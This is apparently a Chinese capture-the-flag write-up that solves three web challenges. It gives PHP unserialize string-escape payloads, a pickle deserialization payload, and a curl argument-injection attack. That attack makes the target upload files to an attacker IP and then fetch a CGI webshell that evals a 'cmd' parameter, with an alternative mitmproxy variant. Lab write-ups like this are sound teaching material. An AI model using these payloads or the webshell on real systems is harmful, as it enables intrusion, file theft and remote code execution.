未经同意不得对本次比赛题目二次开发或做任何商业用途
题目源码及部分wp汇总如下
链接:https://pan.baidu.com/s/1RIatd5BdmHgckwZ4w_Gcog
提取码:news
Web
1.girlfriend1
出题人:hed9eh0g
?payload='phpphpphpphpphpphpphpphp";s:8:"Hed9eh0g";s:14:"has_girlfriend";}
由于";s:8:"Hed9eh0g";s:14:"has_girlfriend";}总共有40个字符,因此需要逃逸40个字符。
由于一个php替换为hack!!!!逃逸了5个字符,因此需要有8个php用于逃逸。
2.girlfriend2
出题人:hed9eh0g
pickle反序列化最简单题目,
构造payload:
import base64
import pickle
from flask import Flask, Response, request
import Hed9eh0g_girlfriend
app = Flask(_name_)
class girl:
def _init_(self, name, age):
self.name = name
self.age = age
@app.route('/', methods=['GET'])
def index():
if request.method == 'GET':
try:
pickle_data = request.args.get('payload')
she = pickle.loads(base64.b64decode(pickle_data))
if she.name==Hed9eh0g_girlfriend.name and she.age==Hed9eh0g_girlfriend.age:
return Hed9eh0g_girlfriend.flag
except Exception as e:
print(repr(e))
return "Something wrong"
def read(filename, encoding='utf-8'):
with open(filename, 'r', encoding=encoding) as fin:
return fin.read()
@app.route('/source', methods=['GET'])
def show_source():
return Response(read(_file_), mimetype='text/plain')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
构造payload:
>>> import base64
>>> base64.b64encode(b'\x80\x03c__main__\ngirl\n)\x81}
(X\x04\x00\x00\x00namecHed9eh0g_girlfriend\nname\nX\x03\x00\x00\x00agecHed9eh0g_girlfriend\nage\nub.')
>>> b'gANjX19tYWluX18KZ2lybAopgX0oWAQAAABuYW1lY0hlZDllaDBnX2dpcmxmcmllbmQKbmFtZQpYAwAAAGFnZWNIZWQ5ZWgwZ19naXJsZnJpZW5kCmFnZQp1Yi4='
构造:
/guess?payload=gANjX19tYWluX18KZ2lybAopgX0oWAQAAABuYW1lY0hlZDllaDBnX2dpcmxmcmllbmQKbmFtZQpYAwAAAGFnZWNIZWQ5ZWgwZ19naXJsZnJpZW5kCmFnZQp1Yi4=
3.ez套娃
出题人:lz2y
打开是源码
<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class evil{
public $hint;
public function __construct($hint){
$this->hint = $hint;
}
public function __destruct(){
if($this->hint==="hint.php")
@$this->hint = base64_encode(file_get_contents($this->hint));
var_dump($this->hint);
}
function __wakeup() {
if ($this->hint != "╭(●`∀´●)╯") {
//There's a hint in ./hint.php
$this->hint = "╰(●’◡’●)╮";
}
}
}
class User
{
public $username;
public $password;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
$tmp = $data;
}
function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}
$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];
$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
die("NoNoNo!");
unserialize(read(write($a)));
算是比较常见的php反序列化字符逃逸吧,通过字符逃逸生成一个evil
对象,在对象被销毁的时候获取$this->hint
的base64编码,题目说了有东西在hint.php
,尝试读取hint.php
,在这过程中需要绕过__wakeup()
,一开始又说了是在5.4版本的php,直接修改反序列化后的字符绕过就行
<?php
class evil{
public $hint;
public function __construct($hint){
$this->hint = $hint;
}
public function __destruct(){
@$this->hint = base64_encode(file_get_contents($this->hint));
var_dump($this->hint);
}
}
class User
{
public $username;
public $password;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
$username = 'root';
$password = 'root';
# To get payload
$r = new User($username, $password);
$r->add = new evil('hint.php');
echo serialize($r);
/*
O:4:"User":3:{s:8:"username";s:4:"root";s:8:"password";s:4:"root";s:3:"add";O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}}
*/
现在需要让
username
为root";s:8:"password";s:4:"root
,让s:3:"add";O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}
为第二个元素,让username
逃逸出一个字符,让他吞掉root";s:8:"password";s:4:"root
了,\0\0\0
经过write()
之后,就会多出3个位置,原本为root
,现在多了";s:8:"password";s:4:"root
,即多了27个,我们需要创造27个字符的位置以容下他,所以我们需要9个\0\0\0
(写成\\0
是为了防止被转码)
username=root\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0;&
password=root";s:3:"add";O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}
绕过__wakeup
username=root\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0;&
password=root";s:3:"add";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
解码得
<?php
$hint = "index.cgi";
// You can't see me~
进入index.cgi
(为了降低难度已给出Hint(防止被喷脑洞题
在headers
可以看到
"User-Agent": "curl/7.64.0",
"url": "http://httpbin.org/get?name=Bob"
说明是curl发出请求,url为http://httpbin.org/get?name=Bob
尝试输入name=la2y
,回显为
考点是bash参数注入,这里可以利用curl的一些参数getshell
在evil-ip(192.168.247.129)建一个test.py
并运行
靶机: 192.168.247.130:1001
import web
urls = ('/.*', 'index')
class index:
def POST(self):
data = web.input(file={})
return data.file.value
def GET(self):
return \
"""#!/bin/bash
source ./_dep/web.cgi
echo_headers
name=${_GET["name"]}
[[ $name == "" ]] && name='Bob'
curl -v http://httpbin.org/get?name=$name
cmd=${_GET["cmd"]} && eval $cmd
"""
if __name__ == "__main__":
app = web.application(urls, globals())
web.httpserver.runsimple(app.wsgifunc(), ("0.0.0.0", 80))
app.run()
curl http://192.168.247.130:1002/index.cgi -G --data-urlencode "name=la2y -F file=@index.cgi --resolve *:80:192.168.247.129"
可获取源码
curl http://192.168.247.130:1002/index.cgi -G --data-urlencode "name=la2y --resolve *:80:192.168.247.129 -o index.cgi"
写入shell
查flag
其他方法也有很多,这里再贴出一个payload
用curl中的-x
配合mitmproxy
代理
curl http://192.168.247.130:1002/index.cgi -G --data-urlencode "name=la2y -x 192.168.247.129:8080 -o index.cgi"
from mitmproxy import ctx
from mitmproxy.http import HTTPFlow, HTTPResponse
data = '''#!/bin/bash
source ./_dep/web.cgi
echo_headers
name=${_GET["name"]}
[[ $name == "" ]] && name='Bob'
curl -v http://httpbin.org/get?name=$name
mitmproxy=${_GET["mitmproxy"]} && eval $mitmproxy
'''
class Hook:
def request(self, flow: HTTPFlow):
flow.response = HTTPResponse.make(200, data, {'Content-Type':'text/plain'})
ctx.log.info("Process a request %r" % flow.request.url)
addons = [
Hook()
]
Misc
1.misc 签到处:
出题人:mumuzi
2.伪装者:
出题人:haisen